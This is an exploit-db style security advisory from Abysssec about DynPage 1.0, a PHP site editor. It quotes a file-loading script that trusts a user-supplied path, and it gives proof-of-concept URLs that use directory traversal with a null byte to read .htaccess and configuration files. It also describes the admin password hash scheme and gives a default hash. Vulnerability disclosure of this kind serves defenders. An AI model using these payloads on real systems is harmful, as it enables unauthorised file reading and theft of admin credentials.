'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-7-dynpage-multiple-remote-vulnerabilities/
'''
- Title : DynPage Multiple Remote Vulnerabilities.
- Affected Version : <= v1.0
- Vendor Site : http://www.dynpage.net
- Discovery : Abysssec.com
- Description :
===============
DynPage allows you to edit Websites online and make pieces of contents editable with a comfortable editor.
DynPage implements the CKeditor - one of the best Internet editors.
The integration of content into the HTML pages can be done with Ajax/Javascript or PHP - so you can also handle cross domain sites.
DynPage is written in PHP and does not require MySQL database. It's easy to install and to configurate.
- Vulnerabilities:
==================
1)Local File Disclosure:
---------------------
+Code:
/content/dynpage_load.php #[line(20-28)]:
$filename = $_GET["file"];
if (!is_dir ($filename) && file_exists ($filename)) {
$bytes = filesize ($filename);
$fh = fopen($filename, 'r');
print (fread ($fh, $bytes));
fclose ($fh);
}
+POC:
http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00
2)Admin hash Disclosure:
---------------------------------
The Admin password hash format: MD5('admin:'+$password)
then password's salt is "admin:".
2-a)Default password is admin,that stored in config_global.inc.php(line 41-42 )
// Default login admin
"default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2",
+POC:for see this hash:
http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00
2-b)the hash password stored as SESSION in /conf/init.inc.php.
<?php
// This file is generated automatically!
// No not modify manually!
$_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']="2d08086927f4d87a31154aaf0ba2e067";
$_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com";
?>
+POC:for see this hash:
http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00
